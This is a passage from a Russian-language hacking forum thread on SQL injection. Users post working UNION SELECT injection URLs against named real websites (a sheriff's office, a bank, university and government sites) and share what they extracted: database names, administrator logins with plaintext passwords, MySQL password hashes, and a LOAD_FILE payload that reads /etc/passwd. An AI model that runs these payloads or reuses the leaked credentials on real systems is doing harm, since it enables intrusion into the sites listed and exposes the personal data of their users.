SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Database Version: 5.0.37
    Database name: lensmodern_db
    User name: lensmodern_user@localhost

    Админы




    a_username : a_password : a_email


    :mark.d.williams: lt06umr:[email protected]
    :dan.tierney: t1E7nEy:[email protected]
    :bob.miller: b1gbadbobMiLLer:[email protected]
    :peter.parker: p47KeR:p[email protected]
    :max.forsythe: m4rv1n:[email protected]
    :christine.hanscomb: ger4n1um:
    :amy.somers: jellyfish:
    :jackie.kelley: frAnkIE746:[email protected]
    :lucy.levene: 1ucyl4vin8:Levene
    :mick.dean: lens59240tmp:
    :graham.fink: lens59240tmp:
     
    1 person likes this.
  2. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Рибний дiм - завжди для Вас (UA)

    Database Version: 5.0.45-log
    Database name: farafon_wp
    User name: farafon_fish@localhost

    Login: admin
    Pass: $P$BQDOb1JojYXIycHmyQPf.77BLr9mMS : ??

    -------------------------------------------------------------------------------------------------------------

    Интернет-конференция (RU)

    Database Version: 5.0.45
    Database name: omskedu4
    User name: omskedu4@localhost

    Есть доступ к mysql.user

    Юзеры:

    Code:
    root:*504A925BE381D892D1A8B7116ACA4E4770D1EBB2
    ftp:*29D1A31AD3238E133B3A0895D8AEEAA0ADC8FB01
    exim:*DE4F5285A470F9A34B8001E28A1A06031EDE134F
    wikiuser:*3036C6FAA0B1CBE8EB353EE034089A6E6F5F0ABF	
    wordpress_us:*D9F1725A36F280EF7E68C2980ED47D155CB72AAA
    omskedu4:*225BAFCA9D85596DB6945B9B1847FB3AC9B80A30
    omskedu4_opek:*9FD2F9A0394B759E1583078CC6505EF4FF6484FC
    nikolay:*DA5FC28583221F4C3BD02A8DB8DB84E23B3429C1
    vmo:*0683137856DF9D97B7010E9D2E4E35E443F6E7F8
    zuka66_ru:*0BA118402CBA45875701B918B78B197AEBA3844A
    sms-mt:*330C2ABD438F5E7461EBB9322ACAFF68DE65A18D	
    ecdicus:*132070F992A6095B2E40B677B79C94B9BEAE2F01	
    roundcubemail:*14A782DB6604FB29456A72A2B7C05F5EF6A5360C	
    rrc:*00D6FF856004B95535175644054E2747E0EF25B6
     
    #8462 .:[melkiy]:., 23 Mar 2009
    Last edited: 23 Mar 2009
  3. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Database Version: 5.0.58
    Database name: mysecret
    User name: mysecret@localhost





    username : password : access : email

    :admin : mys3cr3ts : 10 :[email protected]






    Database Version: 4.1.20
    User name: exportUser@localhost
    Database name: universalexport



    TGP


    Version: 4.1.22-standard-log
    User: selfpp_selfpp@localhost
    Database: selfpp_tgp6
     
    #8463 spherics, 23 Mar 2009
    Last edited: 23 Mar 2009
    1 person likes this.
  4. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    site: http://www.homeobooks.ru
    Code:
    http://www.homeobooks.ru/books.php?id=-307+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
    database : 5.0.67-log
    name_data_base : u18936
    user : [email protected]

    login : admin
    pass : uchisprogat

    users
    sma111:npkssk
    shild:shild
    +limit+1,1+
     
  5. ][yZ

    ][yZ Member

    Joined:
    3 Mar 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    10
    Code:
    http://www.gkh-reforma.ru/forum/view_all_topic.php?m_id=466+union+select+1,2,concat_ws(0x0A,database(),version(),user()),4,5,6,7
    database u40032_forum
    version 5.0.67-log
    user [email protected]

    sql-inj в движке frb 4.0 lite :)
    поковыряйте, кто-нить :)
     
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.bgmim.org/enlinks.php?id=-3+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10


    Database Version: 5.0.67-community
    Database name: avis91_euro26
    User name: avis91_admindb@localhost




    http://www.bgmim.org/admin

    radina:803058
     
  7. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    Database Version: 4.1.22
    Database name: photo
    User name: [email protected]
     
    #8467 F4R, 23 Mar 2009
    Last edited by a moderator: 23 Mar 2009
  8. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    ПортТелеком

    Code:
    http://www.ptkom.ru/new/news/?id=-23+union+select+1,2,3,column_name,5,6+from+INFORMATION_SCHEMA.columns+where+table_name=0x70746b6f6d5f61646d+limit+1,1--
    user(): draft@localhost
    database(): draft
    version(): 5.0.60

    PR=5
    тИЦ=30


    table ptkom_adm

    Code:
    http://www.ptkom.ru/new/news/?id=-23+union+select+1,2,3,concat(id,0x3a,login,0x3a,pass),5,6+from+ptkom_adm+limit+0,1--
    id:login:рass

    1:рtkom_user:9d08d11a016deb735240e8bbb2e13788
     
    1 person likes this.
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.hoteli.bg/designs/classic2_en.php?id=143+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,concat_ws(0x3a,version(),database(),useR()),71,72,73,74


    Database Version: 5.0.67-community
    Database name: hotelib_hoteli
    User name: hotelib_site@localhost
     
    1 person likes this.
  10. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Virtual Radio

    Database Version: 4.1.21
    Database name: vradio
    User name: vradio06@localhost
     
    #8470 .:[melkiy]:., 23 Mar 2009
    Last edited by a moderator: 23 Mar 2009
  11. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Version: 5.0.37
    User:search@localhost
    Database: archweb




    PageRank = 5



    Database Version: 5.0.51a-18-log
    Database name: oncarsdata
    User name: [email protected]
     
    #8471 spherics, 23 Mar 2009
    Last edited: 23 Mar 2009
  12. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.sozialnetz-mil.de/details2.php?id=77%27+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47+limit+1,1/*
    version():5.0.32-Debian_7etch8-log
    database():db1032133-test
    user():dbu1032133@localhost
     
  13. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    http://www.sushi-market.ru/catalog.php?view=product&id_kuhnya=1&id_cat=4&id=-1+UNION+SELECT+concat(login,0x3a,pass),2,3+FROM+users+LIMIT+0,1/*

    4 версия, вывод в тайтле
    Админка тут http://www.sushi-market.ru/admin
    Где лежат админы - хз
     
    5 people like this.
  14. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PageRank = 6



    Database Version: 5.0.45
    Database name: FAD
    User name: admin@localhost



    pma_0QzUtRnrJLEV : 17262bd87c9d234c
    admin : 63da210b5b938bd4
    test : 22adbe442782abc1



    Читаем: etc/passwd


    http://www.sunyopt.edu/faculty/viewprofile.php?ID=92+UNION+SELECT+1,2,3,4,5,CONCAT(0x3a,LOAD_FILE(0x2F6574632F706173737764),0x3a),7,8,9,10,11,12,13--




    Читаем: /etc/httpd/conf/httpd.conf

     
  15. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://pascn.pids.gov.ph/resprojects.phtml?stid=4+union+select+1,concat(version(),0x3a,database(),0x3a,user()),3,4/*
    version():4.0.23-standard
    database():APEC
    user():p[email protected]

    Code:
    http://www.chambers-bank.com/location_details.php?id=1+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7,8,9,10,11,12+limit+1,1/*
    version():4.1.22
    database():CHECKIN_DB
    user():[email protected]
     
  16. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    http://www.astrofest.ru/page.php?id=-1303+union+select+1,2,concat_ws(0x3a,user(),version(),database())--
    ostapenko_afest@localhost:4.1.22:eek:stapenko_afest

    http://www.beermachine.ru/katalog.php?id=-5+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4--
    [email protected]:5.0.67-log:u28651
     
    1 person likes this.
  17. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Database Version: 4.1.16
    Database name: DIP
    User name: root@localhost

    Есть достyп к mysql.user
     
    1 person likes this.
  18. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://www.karabas.info/item/ru/moskow/sale/lg/lg_200/-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat_ws(0x3a,user(),database(),version()),25,26,27,28,29,30,31,32,33,34.html
    user() : database() : version()
    karabas_svalka2@localhost : karabas_svalka2 : 5.0.67-community


    http://forum.antichat.ru/showthread.php?p=1187222#post1187222
     
    2 people like this.
  19. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25

    Database Version: 5.0.51a
    Database name: dosgraveyard
    User name: [email protected]



    : abdalis : 06c219e5bc8378f3a8a3f83b4b7e4649
    : diggyboy : 06c219e5bc8378f3a8a3f83b4b7e4649



    Database Version: 5.0.67.d7-ourdelta-log
    Database name: stardust
    User name: [email protected]




    Version: 4.0.27-standard
    User: crawford_gallery@localhost
    Database: crawford_chphoto
     
    2 people like this.
  20. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Code:
    http://www.realtyplanex.com/estate.php?id=-20+union+select+1,2,3,4,5,6,7,8,9,10,11,12--
    Database Version: 4.1.10-standard
    Database name: planexestates
    User name: planexestates@localhost

    Таблица users


    Code:
    http://www.pickereurope.org/page.php?id=-20+union+select+1,2,3,4--
    Database Version: 5.0.68
    Database name: picker
    User name: pickeruser@localhos


    Code:
    http://www.baxtercountysheriff.com/page_view.php?id=-20+union+select+1,2,3,4,5,6--
    Database Version: 5.0.45
    Database name: bcsd_dymin
    User name: bcsd@localhost
     
    #8480 .:[melkiy]:., 24 Mar 2009
    Last edited: 24 Mar 2009
    1 person likes this.
Thread Status:
Not open for further replies.